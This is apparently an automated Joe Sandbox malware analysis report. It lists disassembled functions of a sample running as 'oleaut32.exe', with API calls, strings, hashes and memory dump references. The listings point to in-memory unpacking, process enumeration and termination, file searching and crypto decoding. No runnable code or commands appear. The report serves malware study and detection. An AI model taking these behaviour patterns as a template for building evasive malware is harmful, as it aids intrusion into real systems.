Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction ID: 08fdddae76046f13a4609d0da6d3235dc21c8c00c6474d33689b1c42df5d2c84
Opcode Fuzzy Hash: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction Fuzzy Hash: 2D016171941B00DBD720AF66D8067C9BBE0AF50329F20851FE499966A0CBB8A6C4CB19

Function 00412B32 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00412B53

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412B64
__getptd.LIBCMT ref: 00412B72

Strings

MOC, xrefs: 00412B45
RCC, xrefs: 00412B3E
csm, xrefs: 00412B4C

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction ID: 0f2876ffef59d3c6b375385131f6e652370e27b5964fd21b7b7078cf082998b9
Opcode Fuzzy Hash: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction Fuzzy Hash: 9AE0ED359186088EC724AF69C18ABE933A5EB44319F1510A7A44DCB223D7ACEAE0854A

Function 00412DE4 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00412E0C

Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106A8
Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106B6

__getptd.LIBCMT ref: 00412E16

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412E24
__getptd.LIBCMT ref: 00412E32
__getptd.LIBCMT ref: 00412E3D
_CallCatchBlock2.LIBCMT ref: 00412E63

Part of subcall function 0041073F: __CallSettingFrame@12.LIBCMT ref: 0041078B

Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F19
Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F27

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction ID: 7569b259fc3e624cf5a97b96a7300a54ad765ced98981fdc73afb8e83ec2d13a
Opcode Fuzzy Hash: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction Fuzzy Hash: C011E4B5D002099FDB00EFA5D986BED7BB0FF04315F10806AF854AB251DB789A919F58

Function 00414EB0 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414EBC

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__amsg_exit.LIBCMT ref: 00414EDC
__lock.LIBCMT ref: 00414EEC
InterlockedDecrement.KERNEL32(?), ref: 00414F09
_free.LIBCMT ref: 00414F1C
InterlockedIncrement.KERNEL32(00691660), ref: 00414F34

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction ID: 34fd155b25c25adfe3620824084a2b0933ecb3f9ce2fde051769732d93a5196a
Opcode Fuzzy Hash: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction Fuzzy Hash: 6F015B79E00721ABD711EF669805BDA7760BB44725F15801BE804A7391CB6CAEC2CBDD

Function 00413191 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004131A4

Part of subcall function 004130FF: ___BuildCatchObjectHelper.LIBCMT ref: 00413135

_UnwindNestedFrames.LIBCMT ref: 004131BB
___FrameUnwindToState.LIBCMT ref: 004131C9

Strings

csm, xrefs: 00413193
csm, xrefs: 004131A0, 004131B5, 004131C8, 004131E6, 004131F6

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction ID: 9332ba3ff9db4df31153ad81b7ccdad3367009c071c3dcb25a55caf6b99e68f4
Opcode Fuzzy Hash: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction Fuzzy Hash: 6001FB7100110ABBDF126F51CC46EEB7F6AEF08355F044016BD1855121DB7AD9F1DBA9

Function 00415631 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041563D

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00415654
__amsg_exit.LIBCMT ref: 00415662
__lock.LIBCMT ref: 00415672
__updatetlocinfoEx_nolock.LIBCMT ref: 00415686

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction ID: e348e55c111b0dd0511f345811d13424c8a431ddd757bbd9f2e15d6ba2996f08
Opcode Fuzzy Hash: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction Fuzzy Hash: CBF09676940B10DBD721BB7698027CD3790AF40729F54411FF5489A2D6CB6C49C1CA9D

Function 0040F697 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction ID: 9f36e5016d7a42e12b889a531ce412ab75a6dd073b82eecd34aa996bae1b5947
Opcode Fuzzy Hash: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction Fuzzy Hash: CA11827111830196C734AB599852BFBB3E8EFC4358F144C3EE886C3691FA7C940983AB

Function 0040F6B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction ID: 51d71b27c4b37dd042226c9a40541835d3d141334fbcb817b22f35dada8c7e80
Opcode Fuzzy Hash: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction Fuzzy Hash: 1C01527110830196C734AB589852BFBB3E9EFC4354F044D3EF986C3681EA3C944887AB

Function 0040E6A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000401,00000000,?), ref: 0040E6C6

Part of subcall function 0040E2A0: OpenProcessToken.ADVAPI32 ref: 0040E2D4
Part of subcall function 0040E2A0: CloseHandle.KERNEL32(?), ref: 0040E35E

TerminateProcess.KERNEL32(00000000,00000009), ref: 0040E6EE
CloseHandle.KERNEL32(00000000), ref: 0040E6FA

Strings

SYSTEM, xrefs: 0040E6D9

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: Process$CloseHandleOpen$TerminateToken
String ID: SYSTEM
API String ID: 1755933052-968218125
Opcode ID: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction ID: 8e2cb8a182e1328e513b3a34ec3bf5da011a535263a81edc7ae68b639948cf14
Opcode Fuzzy Hash: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction Fuzzy Hash: C2F06275A0131067D330AB16AC0DFDB3FA8DBC9B10F418529F959E3282DA38880186AA

Function 006421A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 006421F9
SetLastError.KERNEL32(0000007E), ref: 0064223B

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 8f70519e5935eac06c7f78e709a5a75288a49e134683472820059593d6c9baf8
Instruction ID: e9da4dbffa84b53923f5f787e01a6a2f0ff7461d953b81aa30f786a96fecdebd
Opcode Fuzzy Hash: 8f70519e5935eac06c7f78e709a5a75288a49e134683472820059593d6c9baf8
Instruction Fuzzy Hash: E281AA75A0020ADFDB04CF94C894AAEBBB2FF48314F648158E909AB355C774AE81CF90

Function 0041586A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0041589E
__isleadbyte_l.LIBCMT ref: 004158D1
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,?,00000000,00000000,?,?,?), ref: 00415902
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,00000001,00000000,00000000,?,?,?), ref: 00415970

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction ID: 1bfa8a3c802f93689ab76b22000e8837c631d4e9b9b80ec41d52cc0f2dacea33
Opcode Fuzzy Hash: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction Fuzzy Hash: CE31D271A10646EFDB20EF64C880AEE3BB5FF81320F14856AE4659B2A1D334DDD0DB59

Function 00416787 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004167A8

Part of subcall function 0041025B: __FF_MSGBANNER.LIBCMT ref: 00410274
Part of subcall function 0041025B: __NMSG_WRITE.LIBCMT ref: 0041027B
Part of subcall function 0041025B: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction ID: 3c08702fd25ada2266926da53e5058be595d777b16bfef6a83bfe969bb48a588
Opcode Fuzzy Hash: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction Fuzzy Hash: 6211EB32501611ABDB213FB5BC15ADA3794AF44378B21843BF869962A0DB3DCCC1869C

Function 00642430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 00642468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 006424B2

Strings

@, xrefs: 00642453

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: d3fa3129027b484978ff863b366b4b4bbce316a3e8c30602411498973d95c9e0
Instruction ID: 914eacc63f0a4f9c53f25ee9263085db677f3206282910b925215860a81ac6bf
Opcode Fuzzy Hash: d3fa3129027b484978ff863b366b4b4bbce316a3e8c30602411498973d95c9e0
Instruction Fuzzy Hash: 2A21D3B4A0020AEFDB14CF98C990BADBBB6FF44304F608199E905AB340C774AF85DB55

Function 00412F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004106ED: __getptd.LIBCMT ref: 004106F3
Part of subcall function 004106ED: __getptd.LIBCMT ref: 00410703

__getptd.LIBCMT ref: 00412F19

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412F27

Strings

csm, xrefs: 00412F35

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction ID: 69b6639a9ef3a36a169a6a5565f12a55bffb05f741e2618f410494396190d148
Opcode Fuzzy Hash: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction Fuzzy Hash: 80014B348002058FCF34DF26D6406EEB3B5AF20311F14462FE44496359DBB89AE6EF49

Function 0040E7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

InitCommonControlsEx.COMCTL32 ref: 0040E7BF
CreateWindowExW.USER32(00000000,SysListView32,00419450,50010201,0000000A,00000028,00000190,000001F4,?,00000000,00000000,00000000), ref: 0040E7F4

Strings

SysListView32, xrefs: 0040E7ED

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: CommonControlsCreateInitWindow
String ID: SysListView32
API String ID: 2646078016-78025650
Opcode ID: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction ID: f3d3e535e189fff61838196dd880c7fe0caa92239aab9ee536b101cdf5704626
Opcode Fuzzy Hash: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction Fuzzy Hash: 99E04F747843007FF6509B40DC5BF963764A788F05F50C024F649A51C0D6F46885866A

Analysis Process: oleaut32.exePID: 6348, Parent PID: 7076COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	76.8%
Signature Coverage:	5.3%
Total number of Nodes:	491
Total number of Limit Nodes:	56

Executed Functions

Function 0040FA80 Relevance: 63.2, APIs: 23, Strings: 13, Instructions: 250
windowregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040FA8E
LoadIconW.USER32 ref: 0040FAD2
LoadCursorW.USER32(00000000,00007F00), ref: 0040FADF
LoadIconW.USER32 ref: 0040FB0B
CreateThread.KERNELBASE(00000000,00000000,Function_0000ECC0,00000000,00000002,?), ref: 0040FB23
RegisterClassExW.USER32(?), ref: 0040FB42
MessageBoxW.USER32(00000000,Call to RegisterClassEx failed!,Create Process,00000000), ref: 0040FB5B
CreateWindowExW.USER32(00000000,win32app,Windows Process Manager,00CF0000,80000000,80000000,000001B8,00000258,00000000,00000000,?,00000000), ref: 0040FBA4
MessageBoxW.USER32(00000000,Call to CreateWindow failed!,Win32 Guided Tour,00000000), ref: 0040FBBC

Strings

Run, xrefs: 0040FB29
BUTTON, xrefs: 0040FBEB, 0040FC1F, 0040FC52, 0040FD03, 0040FD30
View All Processes, xrefs: 0040FC4D
Win32 Guided Tour, xrefs: 0040FBB1
Create Process, xrefs: 0040FB4F, 0040FBE6
Call to CreateWindow failed!, xrefs: 0040FBB6
win32app, xrefs: 0040FB03, 0040FB97, 0040FCA0
Kill Process, xrefs: 0040FC1A
0, xrefs: 0040FAA6
Cancel, xrefs: 0040FD2B
Windows Process Manager, xrefs: 0040FB92, 0040FC9B
Edit, xrefs: 0040FCCA
Call to RegisterClassEx failed!, xrefs: 0040FB54

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: Load$CreateIconMessage$ClassCursorRegisterThreadWindow_memset
String ID: 0$BUTTON$Call to CreateWindow failed!$Call to RegisterClassEx failed!$Cancel$Create Process$Edit$Kill Process$Run$View All Processes$Win32 Guided Tour$Windows Process Manager$win32app
API String ID: 713769167-1192827546
Opcode ID: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction ID: d065e50bf912697da28d798f56a1b3ea1efd5d731bf56130ae663ba60a7ce2a6
Opcode Fuzzy Hash: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction Fuzzy Hash: 9A8120B1BD4300BAF220DB50DC56FDA37A8AB98F05F10842AF7017A2D0D7F969458B5E

Function 020D1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(020D4054,020D4040), ref: 020D1047
GetProcAddress.KERNEL32(00000000), ref: 020D104E

Part of subcall function 020D1B30: SetLastError.KERNEL32(0000000D,?,020D1070,?,00000040), ref: 020D1B3D

SetLastError.KERNEL32(000000C1), ref: 020D1096

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: c7ea46d6db24c4971d30eda7c275c0b3350dd6c6e7b347b15d922b15042b9a17
Instruction ID: 2516d735334333ffbe4c7f57e3d1884434f173a250b6c5822cab3b855380a0cd
Opcode Fuzzy Hash: c7ea46d6db24c4971d30eda7c275c0b3350dd6c6e7b347b15d922b15042b9a17
Instruction Fuzzy Hash: 6DF1D6B4A02309EFDB04CF94D990BAEB7B1BF48304F108598E909AB341DB35AA51DF91

Function 005E38B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 005E3AC4
FindNextFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 005E3B1B
FindClose.KERNELBASE(?), ref: 005E3B55

Strings

*LO, xrefs: 005E3AA6
., xrefs: 005E390D

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: *LO$.
API String ID: 3541575487-2132576683
Opcode ID: 338a0bcd5b57795d4362acc3271051093d2c4901d992a9b0df5bd8daf30830f9
Instruction ID: f07a8b58272d30880a9f29311f574ee444f461e6cb3bd38e993abd4e1d030616
Opcode Fuzzy Hash: 338a0bcd5b57795d4362acc3271051093d2c4901d992a9b0df5bd8daf30830f9
Instruction Fuzzy Hash: EB5136B17142C147CB2CAB769D8DA7B7AE9BBD0740F44486DF4C2CB281EA35CE448362

Function 005E25A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptDecodeObjectEx.CRYPT32(00010001,00000013,?,?,00008000,00000000,?,?,?), ref: 005E282F

Strings

Pra, xrefs: 005E2618, 005E266A, 005E2700, 005E2752, 005E278E, 005E27D6, 005E286C, 005E28C9, 005E28DE
=t, xrefs: 005E273E
=t, xrefs: 005E28B8

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: CryptDecodeObject
